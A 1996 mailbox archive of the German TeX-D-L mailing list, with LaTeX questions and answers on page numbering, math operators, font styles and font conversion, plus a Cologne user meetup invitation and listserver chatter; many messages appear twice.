\markboth{Inhaltsverzeichnis}{Inhaltsverzeichnis} \cleardoublepage \thispagestyle{empty} \input{kap1} % wird unten angefuegt \cleardoublepage \end{document} % Kap 1 \thispagestyle{empty} \pagenumbering{arabic} \part{TEIL 1} \chapter{TEIL 1 -- Kapitel 1} \section{Teil 1 - Kapitel 1 - Section 1} \markboth{Kapitel 1 xxxx}{1.1 yyyyy} Hier folgt der Text..... % ------------------------------------------------ From root Wed Aug 7 11:22:44 1996 Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Hattenbach Date: Wed, 7 Aug 1996 08:43:19 +0200 Subject: qu: keine Seitennummer bei Part Hallo, ich habe hier ein Problem, dass ich bisher mit \thispagestyle{empty} nicht in den Griff bekommen: Auf dem Teil, der mit \part anfaengt, soll KEINE Seitenzahl erscheinen, egal wo ich \thispagestyle{empty} plaziere, die Seitenzahl kommt... So sieht der Text aus: \documentclass[twoside,11pt,a4paper]{report} \usepackage{german,a4} \usepackage{latexsym} \begin{document} \pagestyle{empty} \input{leer} % ist wirklich noch leer \pagestyle{myheadings} \pagenumbering{roman} \tableofcontents \thispagestyle{empty} \markboth{Inhaltsverzeichnis}{Inhaltsverzeichnis} \cleardoublepage \thispagestyle{empty} \input{kap1} % wird unten angefuegt \cleardoublepage \end{document} % Kap 1 \thispagestyle{empty} \pagenumbering{arabic} \part{TEIL 1} \chapter{TEIL 1 -- Kapitel 1} \section{Teil 1 - Kapitel 1 - Section 1} \markboth{Kapitel 1 xxxx}{1.1 yyyyy} Hier folgt der Text..... % ------------------------------------------------ From root Wed Aug 7 11:23:07 1996 Message-Id: <199608070734.JAA11642@bernoulli.mathematik.uni-freiburg.de> Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Hattenbach To: Multiple recipients of list TEX-D-L Date: Wed, 7 Aug 1996 09:34:46 +0200 Subject: Nachtrag zur Seitenzahl Hallo Leute, vorhin war ich wohl mal wieder zu schnell und habe keine Adresse unter mein= e Anfrage gesetzt habe, bitte setzt sie unter meine Anfrage bzgl. der nicht= erwuenschten Seitenzahl bei \part-Verwendung. Herzlichen Dank Monika Hattenbach htb@markov.mathematik.uni-freiburg.de Institut fuer Mathematische Stochastik, Freiburg From root Wed Aug 7 11:23:07 1996 Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Hattenbach Date: Wed, 7 Aug 1996 09:34:46 +0200 Subject: Nachtrag zur Seitenzahl Hallo Leute, vorhin war ich wohl mal wieder zu schnell und habe keine Adresse unter meine Anfrage gesetzt habe, bitte setzt sie unter meine Anfrage bzgl. der nicht erwuenschten Seitenzahl bei \part-Verwendung. Herzlichen Dank Monika Hattenbach htb@markov.mathematik.uni-freiburg.de Institut fuer Mathematische Stochastik, Freiburg From root Wed Aug 7 11:23:28 1996 Message-Id: <199608070751.JAA11685@bernoulli.mathematik.uni-freiburg.de> Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Hattenbach To: Multiple recipients of list TEX-D-L Date: Wed, 7 Aug 1996 09:51:19 +0200 Subject: Nachtrag Seitenzahl Ich habe das mit dem \renewcommand{\thispagestyle}[1]{} probiert, aber jetz= t steht die Seitenzahl zwar nicht mehr unten, aber dafuer oben in der Headi= ng-Zeile .... Auch noch nicht das Gelbe vom Ei. Gruss Monika From root Wed Aug 7 11:23:28 1996 Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Hattenbach Date: Wed, 7 Aug 1996 09:51:19 +0200 Subject: Nachtrag Seitenzahl Ich habe das mit dem \renewcommand{\thispagestyle}[1]{} probiert, aber jetzt steht die Seitenzahl zwar nicht mehr unten, aber dafuer oben in der Heading-Zeile .... Auch noch nicht das Gelbe vom Ei. Gruss Monika From root Wed Aug 7 11:23:36 1996 Mime-Version: 1.0 Content-Type: text/plain; charset=3Dus-ascii Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Roland Weibezahn Date: Wed, 7 Aug 1996 10:02:34 +0200 Subject: Re: Nachtrag Seitenzahl > Ich habe das mit dem \renewcommand{\thispagestyle}[1]{} probiert, aber jetzt steht die Seitenzahl zwar nicht mehr unten, aber dafuer oben in der Heading-Zeile .... Auch noch nicht das Gelbe vom Ei. > stimmt --- der tiefere Grund ist, dass (das steckt auch hinter der Antwort von Hubert Partl) LaTeX in jedem \tableofcontents-Befehl und in jedem \chapter-Befehl (und einigen aehnlichen) ein Kommando \thispagestyle{empty} "versteckt" hat. In der Regel ist das sinnvoll in kann also durch ein (muehevolles!) \thisp[agestyle{empty} *unmittelbar hinter* dem jeweiligen Kommando wieder "rueckgaengig" gemacht werden. Es versagt nur, falls das Inhaltsverzeichnis ueber die Seitengrenze hinausgeht. Gruss, Roland Weibezahn From root Wed Aug 7 11:23:08 1996 Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Hubert Partl Date: Wed, 7 Aug 1996 09:25:38 METDST Subject: Re: Nur section-Uberschriften im Header > > Wie kann ich es "andern, dass immer rechts oben (einseitiger Druck) > > die Section steht, und zwar NICHT in Kapit"alchen (sieht doof aus) sondern > > in \rm? > Sieht wirklich doof aus und deshalb haben wir hier mal zwei Styles > geschrieben, die sich die betroffenen LaTeX-Interna (pr"azieser: > Kopien derselben) vornehmen und etwas ummodeln. Wenn bedarf besteht > kann ich Dir sie mal schicken. Da sieht man wenigstens, wie's > gemacht wird, wenn es noch nicht ganz den W"unschen entspricht. > Ansonsten immer wieder: LaTeX-Begleiter lesen! und "Lyout Aenderungen mit LaTeX" aus meinem "frueheren Leben", da kommt auch ein Beispiel dafuer vor. -- Hubert Partl partl@mail.boku.ac.at ZID BOKU Wien http://www.boku.ac.at/ ~~~~~~~an~der~schoenen~blauen~Donau~~~~~~~ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ From root Wed Aug 7 11:23:09 1996 Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Hubert Partl Date: Wed, 7 Aug 1996 09:39:26 METDST Subject: Re: qu: keine Seitennummer bei Part > \thispagestyle{empty} > \pagenumbering{arabic} > \part{TEIL 1} > \chapter{TEIL 1 -- Kapitel 1} Da das part und das chapter ein newpage machen, kann es so nicht gehen, sondern das thispagestyle empty muss unmittelbar NACH dem part bzw. chapter kommen, nicht vorher! -- Hubert Partl partl@mail.boku.ac.at ZID BOKU Wien http://www.boku.ac.at/ ~~~~~~~an~der~schoenen~blauen~Donau~~~~~~~ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ From root Tue Aug 13 17:55:05 1996 Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=3DUS-ASCII Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Michael Johann Date: Tue, 13 Aug 1996 17:54:26 +0200 Subject: Mathe-Symbole Hallo, ich habe zwei Fragen, von denen ich denke, dass sie irgendwo beantwortet sind - aber ich habe bislang keine Antwort gefunden (bin Anfaenger). 1.) Wie erzeugt man die Symbole fuer N,Z,Q,R,C (Zahlbereiche) ? 2.) Wie bekommt man den Laufindex beim cartesischen Produkt ueber bzw. unter das Kreuz (ich habe \times\limits_{i=3D1}^n probiert - geht aber nicht) ? Herzlichen Dank fuer jede konstruktive Antwort: Michael From root Tue Aug 13 17:55:05 1996 Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=3DUS-ASCII Message-Id: Sender: German TeX Users Communication List From: Michael Johann To: Multiple recipients of list TEX-D-L Date: Tue, 13 Aug 1996 17:54:26 +0200 Subject: Mathe-Symbole Hallo, ich habe zwei Fragen, von denen ich denke, dass sie irgendwo beantwortet sind - aber ich habe bislang keine Antwort gefunden (bin Anfaenger). 1.) Wie erzeugt man die Symbole fuer N,Z,Q,R,C (Zahlbereiche) ? 2.) Wie bekommt man den Laufindex beim cartesischen Produkt ueber bzw. unte= r das Kreuz (ich habe \times\limits_{i=3D1}^n probiert - geht aber nicht)= ? Herzlichen Dank fuer jede konstruktive Antwort: Michael From root Wed Aug 14 09:30:25 1996 Mime-Version: 1.0 Content-Type: text/plain; charset=3Dus-ascii Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Anselm Lingnau Date: Wed, 14 Aug 1996 09:29:15 +0200 Subject: Re: Mathe-Symbole Michael Johann schreibt: > 1.) Wie erzeugt man die Symbole fuer N,Z,Q,R,C (Zahlbereiche) ? Die Antwort auf diese Frage steht in der DANTE-TeX-FAQ, die z. B. auf ftp.dante.de zu finden ist. Bernd Raichle postet in regelm"assigen Abst"anden eine Erinnerung, wo genauere Informationen dar"uber drinstehen. > 2.) Wie bekommt man den Laufindex beim cartesischen Produkt ueber bzw. unter > das Kreuz (ich habe \times\limits_{i=3D1}^n probiert - geht aber nicht) ? Die Sache mit den Laufindizes funktioniert in dieser Form nur bei `grossen Operatoren' wie \sum oder \int. Du musst \times explizit zum Operator erkl"aren: \mathop{\times}\limits_{i=3D1}^n x_i tut das Gew"unschte. Wenn Du dieses Konstrukt "ofter zu verwenden beabsichtigst, k"onnte eine Definition der Form \mathchardef\Times=3D"1202 (in Plain TeX) bzw. \DeclareMathSymbol{\Times}{\mathop}{symbols}{"02} gute Dienste leisten. Anselm -- Anselm Lingnau ......................... lingnau@tm.informatik.uni-frankfurt.de The purpose of a university is to provide sex for the students, athletics for the alumni, and parking for the professors. --- Clark Kerr (attr.) From root Thu Aug 15 17:14:35 1996 Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Johannes Heinecke Date: Thu, 15 Aug 1996 17:12:46 +0200 Subject: Fett und kursiv, Hallo, irgendwie kapier ich's im LaTeX-Begleiter gerade nicht. Wie kann ich ohne grossartige neue Styles zu schreiben fett und kursiv in LaTeX2e schreiben. \itseries o."a will nicht, und eine neues .fd File zu produzieren lohnt nicht f"ur die eine Zeile wo ich das brauche. Danke! Gruss Johannes From root Thu Aug 15 17:14:35 1996 Message-Id: <199608151512.RAA05564@zeus.compling.hu-berlin.de> Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Johannes Heinecke To: Multiple recipients of list TEX-D-L Date: Thu, 15 Aug 1996 17:12:46 +0200 Subject: Fett und kursiv, Hallo, irgendwie kapier ich's im LaTeX-Begleiter gerade nicht. Wie kann ich ohne grossartige neue Styles zu schreiben fett und kursiv in LaTeX2e schreiben. \itseries o."a will nicht, und eine neues .fd File zu produzieren lohnt nicht f"ur die eine Zeile wo ich das brauche.= Danke! Gruss Johannes From root Thu Aug 15 17:21:30 1996 Message-Id: <199608151520.RAA08131@isle.informatik.uni-stuttgart.de> Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Bernd Raichle To: Multiple recipients of list TEX-D-L In-Reply-To: <199608151512.RAA05564@zeus.compling.hu-berlin.de> (message f= Date: Thu, 15 Aug 1996 17:20:17 +0200 Subject: Re: Fett und kursiv, : irgendwie kapier ich's im LaTeX-Begleiter gerade nicht. Wie kann ich : ohne grossartige neue Styles zu schreiben fett und kursiv : in LaTeX2e schreiben. \itseries o."a will nicht, und eine neues : .fd File zu produzieren lohnt nicht f"ur die eine Zeile wo ich das brauch= e. \textit{\textbf{ ...text... }} oder {\bfseries\itshape ...text... } Ausserdem kann man in der Datei `begleit.err', die jedem LaTeX2e-Release beiliegt, folgendes finden: * Seite 176, Zeile 10 in Tafel 7.3 (TCo) ersetze \itseries durch \itshape Gruesse, -bernd From root Thu Aug 15 17:21:30 1996 Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Bernd Raichle Date: Thu, 15 Aug 1996 17:20:17 +0200 Subject: Re: Fett und kursiv, : irgendwie kapier ich's im LaTeX-Begleiter gerade nicht. Wie kann ich : ohne grossartige neue Styles zu schreiben fett und kursiv : in LaTeX2e schreiben. \itseries o."a will nicht, und eine neues : .fd File zu produzieren lohnt nicht f"ur die eine Zeile wo ich das brauche. \textit{\textbf{ ...text... }} oder {\bfseries\itshape ...text... } Ausserdem kann man in der Datei `begleit.err', die jedem LaTeX2e-Release beiliegt, folgendes finden: * Seite 176, Zeile 10 in Tafel 7.3 (TCo) ersetze \itseries durch \itshape Gruesse, -bernd From root Thu Aug 15 17:48:50 1996 Message-Id: <199608151547.AA25850@moon.ph-cip.uni-koeln.de> Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Uwe Muench To: Multiple recipients of list TEX-D-L Date: Thu, 15 Aug 1996 17:47:26 +0200 Subject: Einladung TeX-Stammtisch Koeln August Hallo! Hiermit seid Ihr alle recht herzlich zum TeX-Stammtisch in K"oln am Di, 27. 8. 1996, 20 Uhr im ZPR, Seminarraum eingeladen. Die Themen sind diesmal: - Uwe M"unch: Graphiken II: Graphik-Formate, Umflie"sen und Positionierung, Bildunterschriften - Uwe M"unch: Der Schriften-Auswahl-Mechanismus I: Einf"uhrung und ungew"ohnliche Schriften Beim Juli-Stammtisch wurden Exemplare des 'Mikrotypographie-Skripts' von Marion Neubauer verteilt. Wenn jemand beim letzten Stammtisch verhindert war, aber dennoch gerne ein Exemplar erhalten m"ochte, so melde er sich bitte per email bei mir, ich bringe dann entsprechend welche mit. Da ich bis zum Montag, den 26.8 verreise, bitte keine Antwort auf solche oder andere emails erwarten... Der TeX-Stammtisch K"oln findet regelm"a"sig jeden 4.~Dienstag im Monat um 20 Uhr im ZPR statt. Genauere Informationen befinden sich im WWW unter der URL http://www.uni-koeln.de/themen/texmf/lokal/termine.html#stammtisch= Die genaue Adresse des Treffens lautet: ZPR (Zentrum f"ur Paralleles Rechnen), Seminarraum Weyertal 80 50931 K"oln Der Seminarraum befindet sich im Keller links. MfG, Uwe M"unch ---------------------------------------------------------------------------= --- Uwe M\"unch, Schmittgasse 92, D-51143 K\"oln, email: muench@ph-cip.uni-koel= n.de TeX-Betreuer RRZK, RRZK-RII, Raum 11, Tel: +49-221-478-3391 DANTE-TeX-Stammtischleiter K"oln (DANTE=3DDeutschspr. Anw.vereinigung TeX e= .V.) "For a successful technology, reality must take precedence over public relations, for nature cannot be fooled." - Richard Feynman From root Thu Aug 15 17:48:50 1996 Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Uwe Muench Date: Thu, 15 Aug 1996 17:47:26 +0200 Subject: Einladung TeX-Stammtisch Koeln August Hallo! Hiermit seid Ihr alle recht herzlich zum TeX-Stammtisch in K"oln am Di, 27. 8. 1996, 20 Uhr im ZPR, Seminarraum eingeladen. Die Themen sind diesmal: - Uwe M"unch: Graphiken II: Graphik-Formate, Umflie"sen und Positionierung, Bildunterschriften - Uwe M"unch: Der Schriften-Auswahl-Mechanismus I: Einf"uhrung und ungew"ohnliche Schriften Beim Juli-Stammtisch wurden Exemplare des 'Mikrotypographie-Skripts' von Marion Neubauer verteilt. Wenn jemand beim letzten Stammtisch verhindert war, aber dennoch gerne ein Exemplar erhalten m"ochte, so melde er sich bitte per email bei mir, ich bringe dann entsprechend welche mit. Da ich bis zum Montag, den 26.8 verreise, bitte keine Antwort auf solche oder andere emails erwarten... Der TeX-Stammtisch K"oln findet regelm"a"sig jeden 4.~Dienstag im Monat um 20 Uhr im ZPR statt. Genauere Informationen befinden sich im WWW unter der URL http://www.uni-koeln.de/themen/texmf/lokal/termine.html#stammtisch Die genaue Adresse des Treffens lautet: ZPR (Zentrum f"ur Paralleles Rechnen), Seminarraum Weyertal 80 50931 K"oln Der Seminarraum befindet sich im Keller links. MfG, Uwe M"unch ------------------------------------------------------------------------------ Uwe M\"unch, Schmittgasse 92, D-51143 K\"oln, email: muench@ph-cip.uni-koeln.de TeX-Betreuer RRZK, RRZK-RII, Raum 11, Tel: +49-221-478-3391 DANTE-TeX-Stammtischleiter K"oln (DANTE=3DDeutschspr. Anw.vereinigung TeX e.V.) "For a successful technology, reality must take precedence over public relations, for nature cannot be fooled." - Richard Feynman From root Tue Aug 20 14:14:41 1996 Mime-Version: 1.0 Content-Type: text/plain; charset=3D"us-ascii" Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Heinz Kusznier Date: Tue, 20 Aug 1996 14:11:58 +0400 Subject: Listserver-Probleme At 12:05 02.08.96 +0200, you wrote: >nein, ist es nicht. ich bin eine der owner der liste und habe die >anfrage auch nicht erhalten. ich vermute, dass es bei der gmd, bei >der die liste beheimatet ist, schwierigkeiten gibt. > >mit freundlichen gruessen >luzia dietsche > Ist Ihnen irgendetwas ueber Probleme mit den Listservern fuer TEX-D-L bzw. EMTEX-USER bekannt? Seit 15. August habe ich in beiden Gruppen keinerlei Postings mehr bekommen, was mir ungewohnlich erscheint. MfG Heinz Kusznier Heinz Kusznier 3, Kapuzinerstrasse A-4020 LINZ AUSTRIA From root Tue Aug 20 14:52:33 1996 Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: "Luzia Dietsche - Secretary DANTE e.V." Date: Tue, 20 Aug 1996 14:51:54 +0200 Subject: Re: Listserver-Probleme Heinz Kusznier (kusznier@ping.at) schrieb am 20.8.1996, 14:11:58 > Ist Ihnen irgendetwas ueber Probleme mit den Listservern fuer TEX-D-L bzw. > EMTEX-USER bekannt? Seit 15. August habe ich in beiden Gruppen keinerlei > Postings mehr bekommen, was mir ungewohnlich erscheint. nein, mir sind keine probleme bekannt. sie sind mit der obigen adresse bei tex-d-l eingetragen. auf die emtex-user habe ich keinen zugriff. mit freundlichen gruessen luzia dietsche *-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-* DANTE, Deutschsprachige Anwendervereinigung TeX e.V. Postfach 101840 D-69008 Heidelberg Schriftfuehrerin DANTE e.V. Tel: 06221/29766 Fax: 06221/167906 email: dante@dante.de Infos: ftp.dante.de oder ftpmail@dante.de in /tex-archive/usergrps/dante/ oder http://www.dante.de/ From root Tue Aug 20 14:52:33 1996 Message-Id: <199608201251.OAA25404@sun.dante.de> Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: "Luzia Dietsche - Secretary DANTE e.V." To: Multiple recipients of list TEX-D-L In-Reply-To: <1.5.4.32.19960820101158.00685958@ping.at> Date: Tue, 20 Aug 1996 14:51:54 +0200 Subject: Re: Listserver-Probleme Heinz Kusznier (kusznier@ping.at) schrieb am 20.8.1996, 14:11:58 > Ist Ihnen irgendetwas ueber Probleme mit den Listservern fuer TEX-D-L bz= w. > EMTEX-USER bekannt? Seit 15. August habe ich in beiden Gruppen keinerlei= > Postings mehr bekommen, was mir ungewohnlich erscheint. nein, mir sind keine probleme bekannt. sie sind mit der obigen adresse bei tex-d-l eingetragen. auf die emtex-user habe ich keinen zugriff. mit freundlichen gruessen luzia dietsche *-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-* DANTE, Deutschsprachige Anwendervereinigung TeX e.V. Postfach 101840 D-69008 Heidelberg Schriftfuehrerin DANTE e.V. Tel: 06221/29766 Fax: 06221/167906 email: dante@dante.de Infos: ftp.dante.de oder ftpmail@dante.de in /tex-archive/usergrps/dante/ oder http://www.dante.de/ From x33 Wed Aug 21 00:12:23 1996 From: Joachim Lammarsch Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=3DUS-ASCII Date: Wed, 21 Aug 1996 00:12:21 +0200 (METDST) Subject: Re: Wo finde ich dvips.texi? On Tue, 20 Aug 1996, Leo Broska wrote: > Hallo Leute >=20 > Wo finde ich dvips.texi fuer das emacs-help-system? - In dvips558.tar.gz > von dante habe ich's nicht gefunden. In dvipsk-5.58f.tar.gz findet man ihn: dvipsk-5.58f/dvipsk/dvips.texi=20 =20 > ciao, leo. >=20 > ----------------------------------------------| > Leo Arnt Broska, Uni Heidelberg, Germany |------------------------------ > ----------------------------------------------| Hey Gott, Alte, seit wann > eMail: broska@salbei.iwr.uni-heidelberg.de |------------------------------ > ----------------------------------------------| verstehst Du mich als Mann? > |------------------------------ Mit freundlichen Gruessen Joachim Lammarsch From x33 Wed Aug 21 00:12:23 1996 From: Joachim Lammarsch To: German TeX Users Communication List Cc: Joachim Lammarsch In-Reply-To: Hallo Leute >=20 > Wo finde ich dvips.texi fuer das emacs-help-system? - In dvips558.tar.gz > von dante habe ich's nicht gefunden. In dvipsk-5.58f.tar.gz findet man ihn: dvipsk-5.58f/dvipsk/dvips.texi=20 =20 > ciao, leo. >=20 > ----------------------------------------------| > Leo Arnt Broska, Uni Heidelberg, Germany |--------------------------= ---- > ----------------------------------------------| Hey Gott, Alte, seit w= ann > eMail: broska@salbei.iwr.uni-heidelberg.de |--------------------------= ---- > ----------------------------------------------| verstehst Du mich als M= ann? > |--------------------------= ---- Mit freundlichen Gruessen Joachim Lammarsch From root Wed Aug 21 11:50:35 1996 Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=3DUS-ASCII Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Henning Matthes Date: Wed, 21 Aug 1996 11:40:46 +0200 Subject: pfb-file von mac konvertieren moin, ich hab hier einen font, der f"ur nen mac gefertigt wurde, wie kann ich den auf ein PC-Format bringen. Beim afm-file ist das kein Problem, aber der pfb sieht doch bischen anders aus, wenn mir jemand die Formate geben kann schreib ich mir nen Konverter, oder gibt das sowas schon? Gru"s Henning =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D Henning Matthes FON 04383/9898 ISDN M"uhlenbergring 20 FAX 04383/9897 24329 Grebin eMail:matthes@toppoint.de From root Wed Aug 21 12:12:34 1996 Mime-Version: 1.0 Content-Type: text/plain; charset=3DISO-8859-1 Content-Transfer-Encoding: 8bit Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Frank Gilsdorf Date: Wed, 21 Aug 1996 12:12:14 +0200 Subject: Tiefgestellte Zeichen und PS-Drucker Hallo, ich habe hier ein ziemlich seltsames Problem. Wenn in einem Text ein tiefgestelltes Anfuehrungszeichen oder ein tiefes Epsilon vorkommt, und der mit dvips gewandelt wird, dann werden diese Zeichen auf einem echten PS-Drucker nicht gedruckt. Wird der Text mit ghostscript gewandelt und auf einem Nadeldrucker ausgedruckt, erscheinen die Zeichen dort, wo sie hingehoeren. Kann mir jemand weiterhelfen??? Ich bin mit meinem Latein am Ende. Frank -- ----------------------------------------------------------------- Frank Gilsdorf, Fachbereich Physik, Uni Kaiserslautern Erwin Schroedinger-Str., Postfach 3049 Bau 46, Zimmer 511 67618 Kaiserslautern gilsdorf@physik.uni-kl.de Tel ++49(0)631 205 3149 Fax ++49(0)631 205 3677 PGP-Fingerprint D9 EC 7B 2D F6 2C 61 61 67 5A 4A BF 89 76 36 8E From root Wed Aug 21 16:00:20 1996 Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=3DUS-ASCII Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Marion Neubauer Date: Wed, 21 Aug 1996 15:52:27 +0200 Subject: schnelle antwort ueber tex-d-l !? On Tue, 20 Aug 1996, Luzia Dietsche - Secretary DANTE e.V. wrote: > Heinz Kusznier (kusznier@ping.at) schrieb am 20.8.1996, 14:11:58 > ... > mit freundlichen gruessen > luzia dietsche > hallo luzia, ich habe gesehen, dass heinz kusznier auf seine frage zum listserver am selben tag antwort von dir bekommen hat. da ich dir vor fast genau einem monat einen artikel fuer die texnische komoedie angeboten habe und bis heute noch keinerlei reaktion darauf bekam, frage ich mich, ob die tex-d-l das bessere medium im vergleich zu privater e-mail ist? viele gruesse marion ----------------------- Marion Neubauer Psychologisches Institut Sonderforschungsbereich 245 Universitaet Heidelberg Sprache und Situation Hauptstr. 47-51 Tel. +49/6221/54-7267 D-69117 Heidelberg Fax +49/6221/54-7703 From root Wed Aug 21 16:14:54 1996 Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=3DUS-ASCII Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Marion Neubauer Date: Wed, 21 Aug 1996 16:13:57 +0200 Subject: entschuldigung! ich weiss nicht warum, aber die mail eben ging an die liste tex-d-l statt an luzia dietsche direkt. ich bitte die leser der liste um entschuldigung fuer mein versehen, einen privaten brief an die liste zu schicken. mit gesenktem haupt marion neubauer ----------------------- Marion Neubauer Psychologisches Institut Sonderforschungsbereich 245 Universitaet Heidelberg Sprache und Situation Hauptstr. 47-51 Tel. +49/6221/54-7267 D-69117 Heidelberg Fax +49/6221/54-7703 From root Wed Aug 21 16:46:39 1996 Mime-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=3DUS-ASCII Content-Transfer-Encoding: 7BIT Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: "J%org Knappen, Mainz" Date: Wed, 21 Aug 1996 16:47:42 +0100 Subject: Re: pfb-file von mac konvertieren Es gibt Konverter von Mac <-> PC. Die detailierte Beschreibung habe ich grade nicht hier, ist aber in den comp.fonts-FAQ nachzulesen. Die FAQ gibt es auf dem n"achsten Newsserver in comp.fonts und comp.answers, oder bei einem FAQ-Archiv (archie anwerfen!). --J"org Knappen. From root Wed Aug 21 16:46:39 1996 Mime-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=3DUS-ASCII Content-Transfer-Encoding: 7BIT Message-Id: <01I8JM5D6FPEAC31H3@MZDMZA.ZDV.UNI-MAINZ.DE> Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: "J%org Knappen, Mainz" To: Multiple recipients of list TEX-D-L Date: Wed, 21 Aug 1996 16:47:42 +0100 Subject: Re: pfb-file von mac konvertieren Es gibt Konverter von Mac <-> PC. Die detailierte Beschreibung habe ich grade nicht hier, ist aber in den comp.fonts-FAQ nachzulesen. Die FAQ gibt es auf dem n"achsten Newsserver in comp.fonts und comp.answers, oder bei einem FAQ-Archiv (archie anwerfen!). --J"org Knappen. From root Tue Aug 20 17:19:35 1996 Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=3DUS-ASCII Message-Id: Sender: German TeX Users Communication List From: Leo Broska To: Multiple recipients of list TEX-D-L Date: Tue, 20 Aug 1996 17:19:09 -6000 Subject: Wo finde ich dvips.texi? Hallo Leute Wo finde ich dvips.texi fuer das emacs-help-system? - In dvips558.tar.gz von dante habe ich's nicht gefunden. ciao, leo. ----------------------------------------------| Leo Arnt Broska, Uni Heidelberg, Germany |----------------------------= -- ----------------------------------------------| Hey Gott, Alte, seit wan= n eMail: broska@salbei.iwr.uni-heidelberg.de |----------------------------= -- ----------------------------------------------| verstehst Du mich als Man= n? |----------------------------= -- From root Tue Aug 20 17:19:35 1996 Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=3DUS-ASCII Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Leo Broska Date: Tue, 20 Aug 1996 17:19:09 -6000 Subject: Wo finde ich dvips.texi? Hallo Leute Wo finde ich dvips.texi fuer das emacs-help-system? - In dvips558.tar.gz von dante habe ich's nicht gefunden. ciao, leo. ----------------------------------------------| Leo Arnt Broska, Uni Heidelberg, Germany |------------------------------ ----------------------------------------------| Hey Gott, Alte, seit wann eMail: broska@salbei.iwr.uni-heidelberg.de |------------------------------ ----------------------------------------------| verstehst Du mich als Mann? |------------------------------ From root Fri Aug 23 12:10:19 1996 Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=3DUS-ASCII Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Henning Matthes Date: Fri, 23 Aug 1996 11:51:32 +0200 Subject: macfont, pfb2pfa hi, erst mal Dank an Bernd f"ur die prompte Antwort. macfont tuts, zumindest teilweise, der Erzeugt den .pfa-File, aber nicht den afm. Da h"angt das Programm und tut nix. Hat jemand schon mal mit macfont gearbeitet? Gibts irgendwo das Gegenst"uck zu pfb2pfa, also pfa2pfb? Gru"s Henning =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D Henning Matthes FON 04383/9898 ISDN M"uhlenbergring 20 FAX 04383/9897 24329 Grebin eMail:matthes@toppoint.de From x41 Sat Aug 24 05:18:51 1996 Mime-Version: 1.0 Content-Type: text/plain; charset=3Diso-8859-1 Message-Id: <199608231902.p64712@su2.maus.de> Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Peter Schneider To: Multiple recipients of list TEX-D-L Content-Transfer-Encoding: quoted-printable Date: Fri, 23 Aug 1996 19:02:00 +0200 Subject: Listserver-Probleme Kommentar zu A1413@H in der Gruppe TeX-D-L Hi Heinz, HKK>Seit 15. August habe ich in beiden Gruppen keinerlei Postings mehr HKK>bekommen, was mir ungewohnlich erscheint. die Probleme hatte ich fr=3DF0her auch schon mal. Da war ich rausgeworfen w= =3D orden und mu=3DB1te mich neu eintragen. Schleierhaft sind mir nur die Kritereien,= =3D nach denen das geschah... Und TTsch=3DEA ps From x41 Sat Aug 24 05:18:51 1996 Mime-Version: 1.0 Content-Type: text/plain; charset=3Diso-8859-1 Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Peter Schneider Content-Transfer-Encoding: quoted-printable Date: Fri, 23 Aug 1996 19:02:00 +0200 Subject: Listserver-Probleme Kommentar zu A1413@H in der Gruppe TeX-D-L Hi Heinz, HKK>Seit 15. August habe ich in beiden Gruppen keinerlei Postings mehr HKK>bekommen, was mir ungewohnlich erscheint. die Probleme hatte ich fr=3DF0her auch schon mal. Da war ich rausgeworfen w=3D orden und mu=3DB1te mich neu eintragen. Schleierhaft sind mir nur die Kritereien,=3D nach denen das geschah... Und TTsch=3DEA ps From x41 Fri Aug 23 15:45:51 1996 Message-Id: 